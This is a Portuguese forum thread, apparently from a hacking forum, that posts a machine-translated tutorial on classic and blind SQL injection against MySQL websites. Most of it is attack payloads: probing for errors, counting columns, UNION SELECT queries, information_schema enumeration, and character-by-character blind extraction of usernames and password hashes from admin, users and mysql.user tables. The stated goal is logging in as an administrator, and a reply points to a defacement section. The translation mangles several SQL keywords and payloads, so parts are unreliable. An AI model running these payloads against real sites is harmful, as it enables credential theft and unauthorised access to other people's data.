Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

SQL Injection Tutorial (MySQL)

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial SQL Injection Tutorial (MySQL)

    SQL Injection Tutorial (MySQL)

    ************************************************** *******

    Neste tutorial eu vou descrever como funciona a injeção de SQL e como
    usá-lo para obter algumas informações úteis.

    Primeiro de tudo: O que é SQL injection?

    É uma das vulnerabilidades mais comuns em aplicações web atualmente.
    Ele permite a um atacante executar consulta no banco de dados de URL e aceder
    a algumas informações confidenciais, etc .. (em breve).


    1. SQL Injection (clássico ou erro de base ou o que você chamá-lo): D
    2. Blind SQL Injection (a parte mais difícil)

    Então, vamos começar com algumas medidas: D
    ************************************************** *******

    1). Verifique se há vulnerabilidade

    Vamos dizer que temos algum site como este

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...



    Agora, para testar se é vulrnable somarmos ao final da URL '(aspas), e que seria

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... '



    Então, se nós temos algum erro como
    "Você tem um erro em sua sintaxe SQL; verifique o manual que corresponde ao seu servidor MySQL versão para o direito, etc .." ou algo semelhante que significa é vulrnable de injeção SQL

    2). Encontre o número de colunas

    Para encontrar o número de colunas que usamos declaração ORDER BY (diz a base de dados como fim o resultado)
    assim como usá-lo? Bem apenas incrementar o número até chegarmos um erro.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordem de 1 / * <- erro não
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... fim por 2 / * <- erro não
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordenar por 3 / * <- o erro não
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordenar por 4 / * <- erro



    obtemos mensagem como esta Unknown column '4 'in' cláusula de ordem "ou algo assim, isso significa que o que tem 3 colunas, porque temos um erro em 4.

    3). Verifique se a função UNIÃO

    Com união podemos selecionar mais dados em uma instrução SQL. por isso temos

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1,2,3 / *

    (já constatou que o número de colunas são 3 na seção 2)

    Se formos ver alguns números na tela, ou seja, 1 ou 2 ou 3, a União funciona

    4). Verifique se o MySQL versão

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1,2,3 / *

    NOTA: se o / * não trabalhar ou você receber algum erro, então tente --
    é um comentário e é importante para a nossa consulta para funcionar corretamente.

    vamos dizer que temos o número 2 na tela, agora para verificar a versão
    podemos substituir o número 2 com o @ @ version ou versão () e obter como someting 4.1.33-log ou 5.0.45 ou similares. Deve olhar como este

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, @ @ version, 3 / *

    Se você receber um erro "união + mistura ilegal de agrupamentos (implícito + coercible) ..."
    Eu não vi nenhum papel que cobre este problema, então eu devo escrever
    O que precisamos é função convert ()

    ou seja,

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, convert (@ @ versão usando latin1), 3 / *

    ou com hex () e unhex ()

    ou seja,

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, unhex (hex (@ @ version)), 3 / *

    e você receberá a versão do MySQL: D

    5a). Obtendo nome da tabela e coluna para a versão do MySQL é <5 (ou seja, 4.1.33, 4.1.12 ...)

    Para isso, temos de adivinhar tabela e coluna nome na maioria dos casos.
    tabela nomes comuns são: user / s, admin / s, membro / s ...
    coluna nomes comuns são: nome de usuário, usuário, usr, nome_usuario, senha, pass, passwd, pwd, etc ..

    I.E seria

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1,2,3 from admin / *

    (nós, ver o número 2 na tela como antes, e isso é bom: D)

    Se sabemos que admin tabela existe ...

    Agora, para buscar nomes de coluna.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, username, 3 from admin / *

    (se você receber um erro, então tente o nome da coluna Outro)

    obtemos nome de usuário exibido na tela, exemplo seria o admin, ou superadmin etc ..

    Agora, para verificar se a senha coluna existe

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, senha, 3 from admin / *

    (se você receber um erro, então tente o nome da coluna Outro)

    vimos senha na tela de hash ou texto simples, depende de como o banco de dados está configurado
    hash MD5 ou seja, hash mysql, sha1 ... agora temos que completar consulta para uma boa aparência para que possamos utilizar a função () concat (junta-se cordas)

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (username, 0x3a, password), 3 from admin / *

    Note que eu coloquei 0x3a, o seu valor hexadecimal para: (so 0x3a é o valor hexadecimal de dois pontos)
    (não há outro caminho para que, char (58), o valor ASCII para

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (username, char (58), password), 3 from admin / *

    Agora nós começamos dislayed usuário: admin senha na tela, ou seja: admin ou admin: somehash. Quando você tem isso, você pode fazer login como administrador ou algum superusuário: D. se não pode adivinhar o nome da tabela à direita, você pode sempre tentar mysql.user (padrão). tem colunas i senha de usuário, de modo exemplo seria

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (usuário, 0x3a, password), 3 de mysql.user / *

    ************************************************** *******

    5b). Obtendo nome da tabela e coluna para a versão do MySQL é> 5

    Para isso precisamos information_schema. Ele contém todas as tabelas e colunas no banco de dados. Para obter as tabelas que usamos table_name e information_schema.tables.

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, table_name, 3 de information_schema.tables / *


    aqui vamos substituir o número 2 com o nosso nome_tabela para obter a primeira tabela de information_schema.tables exibido na tela. Agora devemos adicionar LIMIT ao final da consulta à lista de todas as tabelas.

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, table_name, 3 de information_schema.tables 0,1 / *

    note que eu coloquei 0,1 (obter 1 resultado a partir do 0). Agora, para visualizar a tabela segundo, mudamos limite de 0,1 para limitar 1,1

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, table_name, 3 de information_schema.tables 1,1 / *

    a segunda tabela é exibida. para a terceira tabela que colocamos limite de 2,1

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, table_name, 3 de information_schema.tables 2,1 / *

    manter incrementando até chegar algumas úteis como db_admin, poll_user, auth_user auth, etc .. : D
    Para obter os nomes de coluna que o método é o mesmo.
    Aqui usamos column_name e INFORMATION_SCHEMA.COLUMNS
    o método é o mesmo do exemplo acima seria assim

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, column_name, 3 de INFORMATION_SCHEMA.COLUMNS 0,1 / *

    primeira coluna é diplayed. o segundo (que alterar o limite de 0,1 para limitar a 1,1)

    ou seja,

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união limitam selecionar 1, column_name, 3 de INFORMATION_SCHEMA.COLUMNS 1,1 / *

    a segunda coluna é apresentado, de modo a manter o incremento até obter algo como
    Nome de usuário, usuário, login, senha, pass, passwd, etc .. : D
    Se você quiser exibir nomes de coluna de tabela específica para usar essa consulta. (where)
    Digamos que nós encontramos os usuários da tabela.

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, column_name, 3 de INFORMATION_SCHEMA.COLUMNS onde table_name = 'users' / *

    Agora, temos apresentado o nome da coluna em usuários da tabela. Basta usar LIMIT, podemos listar todas as colunas na tabela de usuários. Note que isto não vai funcionar se as aspas magia está ON. Digamos que nós encontramos colums usuário, passar e-mail.

    Agora, para completar consulta para colocá-los todos juntos: D, para isso, use o CONCAT (), i descrevê-lo mais cedo.

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... união todas selecionar 1, concat (usuário, 0x3a, pass, 0x3a, e-mail) de usuários / *

    O que temos aqui é user: pass: e-mail dos usuários da tabela.

    exemplo: admin: hash: whatever@blabla.com

    Isso é tudo nessa parte, agora podemos continuar a parte mais difícil, Blind SQL Injection
    Gravitação não é responsável pelas pessoas Falling em nossos pés, nossas ações Made a fazê-lo!

    Visit Me No Orkut

    Posted Image

    * Relatório ícone do relatório
    * Voltar ao topo
    * Imagens Responder MultiQuote
    * Responder ícone Responder

    0

    * +
    * --
    # 2 offline User Black Soul Icon

    * Adicionar como amigo
    * Enviar uma mensagem

    *
    * Global Moderator
    * PipPipPipPipPipPip

    Grupo: Global Moderators
    * Posts: 2.206
    * Joined: 31-July 08

    Posted 24 Outubro 2009 - 06h46
    2. Blind SQL Injection

    Blind injeção é um pouco mais complicada a injeção clássico, mas isso pode ser feito: D Vamos começar com coisas avançadas.

    Eu vou estar usando o nosso exemplo

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Quando nós executamos isso, vamos ver algumas páginas e artigos sobre essa página, fotos etc .. então quando queremos testá-lo para o ataque de injeção SQL cego

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 1 <--- isso é sempre verdade

    e carrega a página normalmente, that's ok. Agora, o verdadeiro teste

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 2 <--- isso é falso

    Então, se algum texto, imagem ou parte do conteúdo está em falta na página retornada então que o site está vulrnable a injeção de SQL cego.

    1) Obter a versão do MySQL

    para obter a versão em ataque cego usamos substring

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ versão, 1,1) = 4

    Isso deve retornar TRUE se a versão do MySQL é 4.

    substituir 5 a 4, e se consulta retornar TRUE, então a versão é 5.

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ versão, 1,1) = 5

    Teste 2) se trabalha subselect

    quando selecionar não funcionam, então usamos subselect

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (selecione 1) = 1

    Se a página carrega normalmente depois subselects trabalho. Então vamos ver se temos acesso a mysql.user

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (select 1 from limite mysql.user 0,1) = 1

    Se a página é carregada normalmente temos acesso a mysql.user e depois podemos puxar alguns load_file senha usign () e OUTFILE.

    3). Verifique os nomes da tabela e da coluna

    Esta é a parte adivinhar quando é o melhor amigo

    ou seja,

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (escolher 1 de usuários limite de 0,1) = 1

    (com limite de 0,1 nossa consulta aqui retorna 1 linha de dados, subselecione causar retorna apenas 1 linha, isto é muito importante.)

    então se a página é carregada normalmente, sem conteúdo ausente, os usuários as saídas de mesa.
    Se você começar FALSO (artigo faltando alguns), basta alterar o nome da tabela até que você adivinhar o caminho certo

    Digamos que descobrimos que o nome da tabela são os usuários, agora o que nós precisamos é nome da coluna. o mesmo nome da tabela, podemos começar a adivinhar. Como eu disse antes de tentar o nome comum para as colunas.

    I.E

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (SELECT substring (concat (1, password), 1,1) de usuários limite de 0,1) = 1

    Se a página é carregada normalmente, nós sabemos que o nome da coluna é a senha (se conseguirmos falso tente nomes comuns ou apenas acho) aqui nós mesclar 1 com a senha de coluna, substring retorna o primeiro caractere (, 1,1)

    4). Puxar dados do banco de dados

    Encontrámos colunas da tabela usuários i senha de usuário assim que nós vamos puxar personagens do que isso.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 80

    ok isso aqui puxa o primeiro caractere do primeiro usuário na tabela usuários. substring aqui primeiro caractere e retorna 1 caractere de comprimento. ASCII () converte o valor de 1 personagem em ascii e em seguida, compará-lo com maior simbol depois>
    Então, se o char ascii maior de 80, a página é carregada normalmente. (TRUE)

    continuamos tentando até chegarmos falso.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 95

    obtemos TRUE, manter incrementando

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 98

    TRUE novamente, superior

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 99

    FALSO!

    de modo que o primeiro caractere no nome de usuário é char (99). Usando o conversor de ASCII, sabemos que char (99) é a letra 'C'. então vamos buscar o segundo personagem.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 2,1))> 99

    Note que estou mudada, para 1,1, 2,1 para obter o segundo personagem. (agora ele retorna o segundo personagem, 1 personagem de comprimento)

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 99

    TRUE, a página é carregada normalmente, mais elevados.

    e Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 107

    Número, FALSE inferiores.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ASCII (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 104

    TRUE, mais elevados.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring (concat (SELECT (username, 0x3a, password) de usuários do limite de 0,1), 1,1))> 105

    FALSO!

    Sabemos que o segundo personagem é char (105) e que é «i». Temos 'ci' até agora, de modo a manter incrementar até chegar ao fim. (quando> 0 retorna false nós sabemos que chegar ao final). Existem algumas ferramentas para Blind SQL Injection, eu acho sqlmap é o melhor, mas estou fazendo tudo manualmente, a causa que te faz melhor INJECTOR SQL: D

    Espero que você tenha aprendido alguma coisa by giovannihacker.
    Similar Threads

  • Font Size
    #2
    donde estan los videoaulas ???

    Comment


    • Font Size
      #3
      Lol...aii cara

      Comment


      • Font Size
        #4
        Area Incorreta tio

        ~Alguem passa pra area de Deface
        sigpic

        Comment

        X
        Working...
        X